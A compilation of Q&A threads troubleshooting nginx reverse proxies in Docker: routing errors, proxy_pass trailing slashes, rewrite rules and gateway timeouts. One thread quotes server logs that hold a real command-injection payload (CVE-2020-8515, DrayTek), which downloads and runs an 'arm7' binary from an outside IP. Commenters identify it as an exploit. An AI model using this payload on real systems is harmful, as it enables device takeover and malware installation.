How can I reverse proxy my API requests with nginx? - docker

To add some context:
I'm running an Angular PWA with Node.js backend.
They run on different ports:
· Front-end: Hosted by nginx on port 80
· Back-end: Hosted by Node.js on port 3939
nginx is within a Docker container.
Thing is, I plan to redirect all traffic related to /api from port 80 to port 3939 internally via reverse proxy. I'm testing with /api/agenda to see if it works, but it isn't.
Here's the default.conf file I'm using:
server {
listen 80;
listen [::]:80;
server_name localhost;
#access_log /var/log/nginx/host.access.log main;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
location /api/agenda {
proxy_pass http://localhost:3939;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
I'm testing with Postman to see if redirect works, but I'm getting a 404 while accessing with this url:
http://localhost:80/api/agenda
If I access it using its original port, I do get the desired results, but that's not what I want to do.
http://localhost:3939/api/agenda
Edit: Here's the error logs I get in my docker console when I try to access http://localhost:80/api/agenda
1 | 172.19.0.1 - - [22/Jun/2022:07:13:50 +0000] "GET /api/agenda HTTP/1.1" 404 555 "http://localhost/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36" "-"
nginx-conf-web-1 | 2022/06/22 07:55:18 [error] 28#28: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.19.0.1, server: localhost, request: "GET /api/agenda HTTP/1.1", upstream: "http://127.0.0.1:3939/api/agenda", host: "localhost:80"
Thanks in advance for your help.

One of the comments worked for me, regarding #Ivan Shatsky.
Switching: "https://localhost:port/api
to: https://host.docker.internal:port/api
Thank you to the people in the comments.

Related

Redirect address name to a react app running on localhost using nginx - bad gateway

I'm building a personal application. It is called SCC would like to be able to redirect an address, like scc.com, to my localhost environment, just for the sake of using my auth0 configuration for OAuth
I'm trying to use Nginx for this.
Basic Structure
Backend GOLang API Running on localhost:8080
Frontend React App Running on localhost:3000
I've tried configuring Nginx as a Reverse proxy but I get Bad Gateway and I'm not being able to solve it
I Confirm both apps, front and back, are running
My nginx docker is running
the containser is created with the following command:
docker run --name nginx \
-p 80:80 -p 443:443 \
-v /home/rafael/repos/streaming-cost-control/nginx.conf:/etc/nginx/nginx.conf \
-v /home/rafael/repos/streaming-cost-control/cert/server.crt:/etc/nginx/server.crt \
-v /home/rafael/repos/streaming-cost-control/cert/server.key:/etc/nginx/server.key \
-d nginx:mainline-alpine
and my nginx.conf file is as follows
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
server {
listen 80;
server_name localhost;
location / {
proxy_pass https://localhost:3000/;
}
}
server {
listen 443 ssl;
ssl_certificate server.crt;
ssl_certificate_key server.key;
server_name localhost;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_pass https://localhost:3000/;
}
}
}
I've also added this address to my hosts file
127.0.0.1 localhost
127.0.0.1 scc.com
#127.0.0.1 www.scc.com
# Added by Docker Desktop
192.168.1.6 host.docker.internal
192.168.1.6 gateway.docker.internal
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
the error log on my nginx is:
2022/10/01 13:41:28 [error] 27#27: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.17.0.1, server: localhost, request: "GET / HTTP/1.1", upstream: "https://127.0.0.1:3000/", host: "scc.com"
172.17.0.1 - - [01/Oct/2022:13:41:28 +0000] "GET / HTTP/1.1" 502 559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"
2022/10/01 13:41:28 [error] 27#27: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.17.0.1, server: localhost, request: "GET /favicon.ico HTTP/1.1", upstream: "https://127.0.0.1:3000/favicon.ico", host: "scc.com", referrer: "https://scc.com/"
172.17.0.1 - - [01/Oct/2022:13:41:28 +0000] "GET /favicon.ico HTTP/1.1" 502 559 "https://scc.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36"
I'm running on windows with Ubuntu on WSL2
Could you help me finding the issue?
Thanks in advance

Nginx 404 not found

I am using docker compose for running nginx with latest version, using the volumes i am copying the nginx.conf files into nginx docker container
nginx:
image: nginx:1.20
container_name: nginx
ports:
- 80:80
restart: unless-stopped
volumes:
- ./nginx/nginx.conf:/etc/nginx/default.conf
depends_on:
- strapi
- rocketchat
- keycloak
networks:
- test-network
Every applications are running on a same Network.
Here is the nginx.conf file
events {
worker_connections 4096; ## Default: 1024
}
http {
server {
listen 80;
server_name qa.xxx.com;
location / {
proxy_pass http://strapi-container:1337/;
}
location /chat {
proxy_pass http://rocketchat-container:3000;
}
location /auth {
proxy_pass http://keycloak-container:8080;
proxy_set_header Host $host;
}
}
}
My intention is to run the three backend URL /, /chat, /auth with nginx configurations. When running the application on instance, http://ip-address/chat, http://ip-address/auth doesn't seems to work
Here is the nginx log error
2021/06/02 07:46:42 [error] 31#31: *1 open() "/usr/share/nginx/html/chat" failed (2: No such file or directory), client: 115.96.103.237, server: localhost, request: "GET /chat HTTP/1.1", host: "310.28.67.222"
115.96.103.237 - - [02/Jun/2021:07:46:42 +0000] "GET /chat HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" "-"
2021/06/02 07:46:50 [error] 31#31: *2 open() "/usr/share/nginx/html/auth" failed (2: No such file or directory), client: 115.96.103.237, server: localhost, request: "GET /auth HTTP/1.1", host: "310.28.67.222"
115.96.103.237 - - [02/Jun/2021:07:46:50 +0000] "GET /auth HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36" "-"
Try trailing slashes behind the proxy_pass, unless you want to have the folder added.
location /chat {
proxy_pass http://rocketchat-cnr:3000;
}
redirects to http://rocketchat-cnr:3000/chat, while
location /chat {
proxy_pass http://rocketchat-cnr:3000/;
}
redirects to http://rocketchat-cnr:3000/
Visit http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass for more Info

nginx logs appear to show the wrong info

I'm running nginx with Django on a production server, with the following settings:
# normally you leave this at the default of 1024
events {
worker_connections 1024;
}
http {
# cf http://blog.maxcdn.com/accept-encoding-its-vary-important/
gzip_vary on;
gzip_proxied any;
gzip_types *;
# http://nginx.org/en/docs/http/configuring_https_servers.html#optimization
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 10m;
server_tokens off;
upstream django {
server webapp:8000;
}
# ---------------------------------------------------------------------------
# Production
#
# Use this configuration for a deployment. You'll have to configure SSL.
# ---------------------------------------------------------------------------
#server {
# # rewrite all HTTP to HTTPS
# listen 80;
# server_name ${NGINX_SERVER_NAME};
#
# return 301 https://${NGINX_SERVER_NAME}${DOLLAR}request_uri;
#}
# ---------------------------------------------------------------------------
# Development
#
# You may use this for development. It doesn't use SSL, making it unsafe.
# Remove this setting when moving to production.
# ---------------------------------------------------------------------------
server {
# rewrite all HTTP to HTTPS
listen 80;
server_name ${NGINX_SERVER_NAME};
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
server {
listen 443 ssl default_server;
server_name ${NGINX_SERVER_NAME};
# see http://nginx.org/en/docs/http/configuriNGINX_https_servers.html
ssl_certificate /etc/ssl/certs/${NGINX_CRT_NAME}.crt;
ssl_certificate_key /etc/ssl/private/${NGINX_KEY_NAME}.key;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # ie defaults minus SSLv3
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
}
Note: I know that the settings aren't supposed to be like that because it doesn't use HTTPS, but that's what we're using at the moment. It should be fixed later.
One thing that is confusing me is that—given the Docker setup that was provided to me—there are two configuration nginx files, the other one being:
server {
listen 80;
location / {
proxy_pass http://localhost:8000;
proxy_redirect off;
}
}
Worst, is that the docker compose yaml file appears to be pointing to the second file, not the first, but it is the changes that I make to the first that reflect on the server.
version: "3"
volumes:
static-files:
driver: local
postgres:
driver: local
services:
db:
image: postgres:11.1
volumes:
- postgres:/var/lib/postgresql/data/pgdata
env_file:
- ./config/environment/development.env
expose:
- "5432"
webserver:
build: ./nginx
ports:
- "80:80"
- "443:443"
webapp:
build:
context: webapp
volumes:
- ./webapp/covidoff:/srv/covidoff
- static-files:/srv/static-files
ports:
- "8000:8000"
depends_on:
- db
env_file:
- ./config/environment/development.env
You can see the full project here.
Right now I'm not so worried about the server configuration, but it might be important for what I'm about to point out.
After launching (e.g. docker-compose up -d), I see the logs for nginx and they are... Well... Weird.
As you can see from the docker-compose, I have three services running: Django, nginx and Postgres. Using docker logs I see the Django service getting hit quite frequently by requests, but those requests are not showing on the nginx server.
Instead, nginx just shows stuff that I really don't get where it's coming from, such as this request for index.php:
124.156.160.69 - - [02/Apr/2020:18:05:24 +0000] "GET /websql/index.php HTTP/1.1" 502 559 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0" "-"
Or even GET /, since there's no such thing in deployment:
202.52.58.6 - - [02/Apr/2020:18:35:50 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
95.70.169.166 - - [02/Apr/2020:19:36:19 +0000] "GET / HTTP/1.1" 400 157 "-" "-" "-"
186.64.111.98 - - [02/Apr/2020:19:36:51 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 157 "-" "-" "-"
2020/04/02 20:18:20 [error] 8#8: *2171 connect() failed (111: Connection refused) while connecting to upstream, client: 209.17.97.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8000/", host: "34.242.160.202:80"
209.17.97.2 - - [02/Apr/2020:20:18:20 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" "-"
What I need is the normal access.log, with the requests that are hitting django. I don't know what the logs for nginx are showing, or where those requests are coming from.
I the nginx docker container, if I run docker exec -it de807b6ad160 ls /var/log/nginx -la, I get:
lrwxrwxrwx 1 root root 11 Oct 21 19:02 access.log -> /dev/stdout
lrwxrwxrwx 1 root root 11 Oct 21 19:02 error.log -> /dev/stderr
Which means that the log files are empty and (rightfully) being redirected to stdout/stderr.
What am I missing?
Apparently that call to /cgi-bin/mainfunction.cgi is an exploit to create a remote login to your server, I just had the same call, I'm running a different web server, in my case is Apache
200.188.153.18 - - [03/Apr/2020:11:03:34 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 0 "-" "-"
The only difference I see is the IP is coming from and the response I'm giving (400)
Yap it's exploit and i find source code named like a "CVE-2020-8515: DrayTek pre-auth remote root RCE"
Check ur system for bad access. Have a nice day!
[1]: https://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html

particular Nginx reverse proxy redirect issues with POST on docker containers

I recently migrated my wordpress installation to docker. I'm using a nginx (in a container) as a reverse proxy to handle all incoming traffic to multiple containers on my domain. Most things work fine, however when posting a comment on wordpress the user gets a 504 Gateway Time out when hitting 'send', although the comment correctly appears on the site after that. So I suppose it's an issue with the nginx reverse proxy redirects. I have tried so many stuff I've read online, nothing seems to work for me, so I'd really appreciate some help.
I also have a custom metrics endpoint to which I send HTTP POSTs with curl, and to get this working I had to alter the curl by adding -L --post301 or it wouldn't work.
official dockerhub images
nginx:1.17.5
wordpress:5.2.4-php7.1
nginx container logs:
2019/12/01 14:29:13 [error] 21#21: *3065 upstream timed out (110: Connection timed out) while reading response header from upstream, client: <my-ip>, server: <my-domain>, request: "POST /wp-comments-post.php HTTP/1.1", upstream: "http://172.18.0.11:80/wp-comments-post.php", host: "<my-domain>", referrer: "https://<my-domain>/index.php/<the-blog-post>/"
[01/Dec/2019:14:29:13 +0000] "POST /wp-comments-post.php HTTP/1.1" 504 569 "https://<my-domain>/index.php/<the-blog-post>/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
Nginx.conf:
events{}
http {
server {
listen 80;
server_name <my-domain>;
location / {
return 301 https://$server_name$request_uri;
}
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
}
server {
listen 443 ssl;
server_name <my-domain>;
location /grafana/ {
proxy_pass http://grafana:3000/;
}
location /metrics-collect/ {
proxy_pass http://metrics:8080/collect;
}
location / {
proxy_pass http://wordpress:80/;
}
ssl_certificate /etc/letsencrypt/live/<my-domain>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<my-domain>/privkey.pem;
include /etc/letsencrypt/options-ssl-nginx.conf;
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
The request of the commenter:
Request URL: https://<my-domain>/wp-comments-post.php
Referrer Policy: no-referrer-when-downgrade
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
DNT: 1
Host: <my-domain>
Origin: https://<my-domain>
Pragma: no-cache
Referer: https://<my-domain>/index.php/<the-blog-post>/
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

nginx: unable to perform path based routing

I am creating a docker-compose stack with prometheus, grafana and nginx.
I want to provide host-based routing so that the / location redirects to grafana and /prometheus to prometheus.
However the nginx.conf below, does perofmrm / --> grafana redirection but not /prometheus --> prometheus (the later goes to a grafana error page)
Any suggestions?
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
server_name _;
location /prometheus {
rewrite ^/prometheus(.*) /$1 break;
proxy_pass http://11.12.12.31:9090;
}
location / {
proxy_pass http://11.12.12.31:3000;
}
(prometheus and grafana are services exposed to 9090 and 3000 respectively)
edit:
nginx_1 | 199.99.99.67 - - [17/Jan/2019:11:10:51 +0000] "GET /prometheus HTTP/1.1" 302 29 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" "-"
grafana_1 | t=2019-01-17T11:10:51+0000 lvl=info msg="Request Completed" logger=context userId=1 orgId=1 uname=admin method=GET path=/graph status=404 remote_addr=192.168.96.1 time_ms=8 size=25545 referer=
nginx_1 | 199.99.99.67 - - [17/Jan/2019:11:10:51 +0000] "GET /graph HTTP/1.1" 404 25581 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" "-"
I believe the rewrite ^/prometheus(.*) /$1 break; clause is causing a redirection to /.
The nginx documentation suggests that the rewrite operation actually performs an regular expression against the requested url and replace it with something else.
In this case /prometheus/ is been resolved as / due to regex (.*). This expression means to match 0 or more characters after the word "prometheus" and to capture/store whatever characters found as variable $1.
So path /prometheus is been replaced as / which brings you to the Grafana server.
Removing the rewrite rule will fix your problem.
Reference:
http://nginx.org/en/docs/http/ngx_http_rewrite_module.html
https://regex101.com/r/vjbFdN/1

Resources